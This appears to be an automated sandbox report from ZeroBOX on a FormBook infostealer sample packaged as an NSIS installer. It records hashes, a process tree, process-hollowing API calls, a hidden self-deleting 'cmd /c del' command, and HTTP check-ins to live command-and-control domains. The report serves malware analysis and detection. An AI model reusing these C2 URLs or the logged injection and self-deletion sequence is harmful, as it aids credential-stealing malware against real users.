Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Nov. 2, 2021, 11:36 a.m.	Nov. 2, 2021, 11:50 a.m.

Size	284.6KB
Type	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
MD5	`ed2ccc5a265e2b2ba9faf326349ce58e`
SHA256	`4cd1e6edc08c369a7e62542c25d5918fdfdc7d7729a078be8235604e20a60302`
CRC32	`26D08937`
ssdeep	`6144:wBlL/cv/ESw8LPDlpw04FbpDkYQtjb/IEZbHM:CevZwENap8Ikbs`
Yara	PE_Header_Zero - PE File Signature IsPE32 - (no description) Malicious_Library_Zero - Malicious_Library UPX_Zero - UPX packed file NSIS_Installer - Null Soft Installer

maxfile.exe "C:\Users\test22\AppData\Local\Temp\maxfile.exe"
2312
- maxfile.exe "C:\Users\test22\AppData\Local\Temp\maxfile.exe"
  2420
  - msdt.exe "C:\Windows\SysWOW64\msdt.exe"
    2616
    - cmd.exe /c del "C:\Users\test22\AppData\Local\Temp\maxfile.exe"
      2664

Name	Response	Post-Analysis Lookup
www.anaxita.com	A 209.99.40.222	209.99.40.222
www.kathleenmock.net	A 208.91.197.39	208.91.197.39
www.viral22.com
www.ximmgepn.xyz	A 172.67.218.59 A 104.21.83.83	104.21.83.83

IP Address	Status	Action
164.124.101.2	Active	Moloch
172.67.218.59	Active	Moloch
208.91.197.39	Active	Moloch
209.99.40.222	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.103:49170 -> 172.67.218.59:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.103:49170 -> 172.67.218.59:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.103:49170 -> 172.67.218.59:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.103:49170 -> 172.67.218.59:80	2031088	ET HUNTING Request to .XYZ Domain with Minimal Headers	Potentially Bad Traffic
TCP 192.168.56.103:49168 -> 209.99.40.222:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.103:49168 -> 209.99.40.222:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.103:49168 -> 209.99.40.222:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.103:49169 -> 208.91.197.39:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.103:49169 -> 208.91.197.39:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.103:49169 -> 208.91.197.39:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected

Suricata TLS

No Suricata TLS

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Nov. 2, 2021, 11:36 a.m.		1	1	0

The executable contains unknown PE section names indicative of a packer (could be a false positive) (1 event)

section

.ndata

HTTP traffic contains suspicious features which may be indicative of malware related traffic (3 events)

suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.anaxita.com/dyh6/?FF=e1sV4iIAm3W+2fgt/yVAOOjF2UsGa3xT/dFBxHCILvFkdpke+8w/hijfuvnxAUXgv57PQqkt&llsp=fTRHzt4hzn4XCf
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.kathleenmock.net/dyh6/?FF=veXVV/uO8eWr4vGl5Lx83Gc/HQMwKmi+0wt1MNsVBzL0bCXgx5AM9CNKvNHpO1tgXHV/L8ov&llsp=fTRHzt4hzn4XCf
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.ximmgepn.xyz/dyh6/?FF=m7mJBtGCnG5TVc4ReSyQMy3V1N6/PuooX2bCSHJ2SWOIS/9VaOV1f0BewfqRdnYc7h+DW27G&llsp=fTRHzt4hzn4XCf

Performs some HTTP requests (3 events)

request	GET http://www.anaxita.com/dyh6/?FF=e1sV4iIAm3W+2fgt/yVAOOjF2UsGa3xT/dFBxHCILvFkdpke+8w/hijfuvnxAUXgv57PQqkt&llsp=fTRHzt4hzn4XCf
request	GET http://www.kathleenmock.net/dyh6/?FF=veXVV/uO8eWr4vGl5Lx83Gc/HQMwKmi+0wt1MNsVBzL0bCXgx5AM9CNKvNHpO1tgXHV/L8ov&llsp=fTRHzt4hzn4XCf
request	GET http://www.ximmgepn.xyz/dyh6/?FF=m7mJBtGCnG5TVc4ReSyQMy3V1N6/PuooX2bCSHJ2SWOIS/9VaOV1f0BewfqRdnYc7h+DW27G&llsp=fTRHzt4hzn4XCf

Allocates read-write-execute memory (usually to unpack itself) (3 events)

Time & API	Arguments	Status
NtProtectVirtualMemory Nov. 2, 2021, 11:36 a.m.	process_identifier: 2312 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73bf7000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 2, 2021, 11:36 a.m.	process_identifier: 2420 region_size: 3158016 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x009f0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 2, 2021, 11:36 a.m.	process_identifier: 2616 region_size: 3158016 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02230000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1

Creates executable files on the filesystem (1 event)

file	C:\Users\test22\AppData\Local\Temp\nsm89F1.tmp\svpvd.dll

Drops a binary and executes it (1 event)

file	C:\Users\test22\AppData\Local\Temp\maxfile.exe

Drops an executable to the user AppData folder (2 events)

file	C:\Users\test22\AppData\Local\Temp\maxfile.exe
file	C:\Users\test22\AppData\Local\Temp\nsm89F1.tmp\svpvd.dll

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
CreateProcessInternalW Nov. 2, 2021, 11:36 a.m.	thread_identifier: 2668 thread_handle: 0x000000ec process_identifier: 2664 current_directory: filepath: C:\Windows\SysWOW64\cmd.exe track: 1 command_line: /c del "C:\Users\test22\AppData\Local\Temp\maxfile.exe" filepath_r: C:\Windows\SysWOW64\cmd.exe stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x0000013c	1	1	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (2 events)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Nov. 2, 2021, 11:36 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0
LookupPrivilegeValueW Nov. 2, 2021, 11:36 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Uses Windows utilities for basic Windows functionality (1 event)

cmdline

/c del "C:\Users\test22\AppData\Local\Temp\maxfile.exe"

Allocates execute permission to another process indicative of possible code injection (1 event)

Time & API	Arguments	Status	Return	Repeated
NtAllocateVirtualMemory Nov. 2, 2021, 11:36 a.m.	process_identifier: 2420 region_size: 192512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000228	1	0	0

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2312 called NtSetContextThread to modify thread in remote process 2420
NtSetContextThread Nov. 2, 2021, 11:36 a.m.	registers.eip: 1999372740 registers.esp: 1638384 registers.edi: 0 registers.eax: 4321456 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000224 process_identifier: 2420	1	0	0

File has been identified by 21 AntiVirus engines on VirusTotal as malicious (21 events)

Elastic	malicious (high confidence)
MicroWorld-eScan	Trojan.NSISX.Spy.Gen.2
FireEye	Generic.mg.ed2ccc5a265e2b2b
Cylance	Unsafe
Cybereason	malicious.a265e2
Cyren	W32/Injector.AMK.gen!Eldorado
Symantec	Packed.Generic.606
APEX	Malicious
Paloalto	generic.ml
BitDefender	Trojan.NSISX.Spy.Gen.2
Sophos	Generic ML PUA (PUA)
McAfee-GW-Edition	BehavesLike.Win32.Puper.dc
Emsisoft	Trojan.NSISX.Spy.Gen.2 (B)
Ikarus	Trojan.NSIS.Agent
Microsoft	Trojan:Script/Phonzy.C!ml
GData	Zum.Androm.1
Cynet	Malicious (score: 100)
MAX	malware (ai score=80)
Malwarebytes	Trojan.Injector
SentinelOne	Static AI - Malicious PE
Fortinet	W32/Injector.EOLV!tr

Executed a process and injected code into it, probably while unpacking (11 events)

Time & API	Arguments	Status	Return
CreateProcessInternalW Nov. 2, 2021, 11:36 a.m.	thread_identifier: 2424 thread_handle: 0x00000224 process_identifier: 2420 current_directory: filepath: C:\Users\test22\AppData\Local\Temp\maxfile.exe track: 1 command_line: "C:\Users\test22\AppData\Local\Temp\maxfile.exe" filepath_r: C:\Users\test22\AppData\Local\Temp\maxfile.exe stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000228	1	1
NtGetContextThread Nov. 2, 2021, 11:36 a.m.	thread_handle: 0x00000224	1	0
NtAllocateVirtualMemory Nov. 2, 2021, 11:36 a.m.	process_identifier: 2420 region_size: 192512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000228	1	0
NtSetContextThread Nov. 2, 2021, 11:36 a.m.	registers.eip: 1999372740 registers.esp: 1638384 registers.edi: 0 registers.eax: 4321456 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000224 process_identifier: 2420	1	0
CreateProcessInternalW Nov. 2, 2021, 11:36 a.m.	thread_identifier: 0 thread_handle: 0x00000000 process_identifier: 0 current_directory: filepath: C:\Windows\SysWOW64\autofmt.exe track: 0 command_line: filepath_r: C:\Windows\SysWOW64\autofmt.exe stack_pivoted: 0 creation_flags: 134217740 (CREATE_NO_WINDOW\|CREATE_SUSPENDED\|DETACHED_PROCESS) inherit_handles: 0 process_handle: 0x00000000		0
CreateProcessInternalW Nov. 2, 2021, 11:36 a.m.	thread_identifier: 0 thread_handle: 0x00000000 process_identifier: 0 current_directory: filepath: C:\Windows\SysWOW64\autofmt.exe track: 0 command_line: filepath_r: C:\Windows\SysWOW64\autofmt.exe stack_pivoted: 0 creation_flags: 134217740 (CREATE_NO_WINDOW\|CREATE_SUSPENDED\|DETACHED_PROCESS) inherit_handles: 0 process_handle: 0x00000000		0
CreateProcessInternalW Nov. 2, 2021, 11:36 a.m.	thread_identifier: 0 thread_handle: 0x00000000 process_identifier: 0 current_directory: filepath: C:\Windows\SysWOW64\autofmt.exe track: 0 command_line: filepath_r: C:\Windows\SysWOW64\autofmt.exe stack_pivoted: 0 creation_flags: 134217740 (CREATE_NO_WINDOW\|CREATE_SUSPENDED\|DETACHED_PROCESS) inherit_handles: 0 process_handle: 0x00000000		0
CreateProcessInternalW Nov. 2, 2021, 11:36 a.m.	thread_identifier: 0 thread_handle: 0x00000000 process_identifier: 0 current_directory: filepath: C:\Windows\SysWOW64\autofmt.exe track: 0 command_line: filepath_r: C:\Windows\SysWOW64\autofmt.exe stack_pivoted: 0 creation_flags: 134217740 (CREATE_NO_WINDOW\|CREATE_SUSPENDED\|DETACHED_PROCESS) inherit_handles: 0 process_handle: 0x00000000		0
CreateProcessInternalW Nov. 2, 2021, 11:36 a.m.	thread_identifier: 0 thread_handle: 0x00000000 process_identifier: 0 current_directory: filepath: C:\Windows\SysWOW64\autofmt.exe track: 0 command_line: filepath_r: C:\Windows\SysWOW64\autofmt.exe stack_pivoted: 0 creation_flags: 134217740 (CREATE_NO_WINDOW\|CREATE_SUSPENDED\|DETACHED_PROCESS) inherit_handles: 0 process_handle: 0x00000000		0
CreateProcessInternalW Nov. 2, 2021, 11:36 a.m.	thread_identifier: 2620 thread_handle: 0x000000b0 process_identifier: 2616 current_directory: filepath: C:\Windows\SysWOW64\msdt.exe track: 1 command_line: filepath_r: C:\Windows\SysWOW64\msdt.exe stack_pivoted: 0 creation_flags: 134217740 (CREATE_NO_WINDOW\|CREATE_SUSPENDED\|DETACHED_PROCESS) inherit_handles: 0 process_handle: 0x00000094	1	1
CreateProcessInternalW Nov. 2, 2021, 11:36 a.m.	thread_identifier: 2668 thread_handle: 0x000000ec process_identifier: 2664 current_directory: filepath: C:\Windows\SysWOW64\cmd.exe track: 1 command_line: /c del "C:\Users\test22\AppData\Local\Temp\maxfile.exe" filepath_r: C:\Windows\SysWOW64\cmd.exe stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x0000013c	1	1

maxfile.exe

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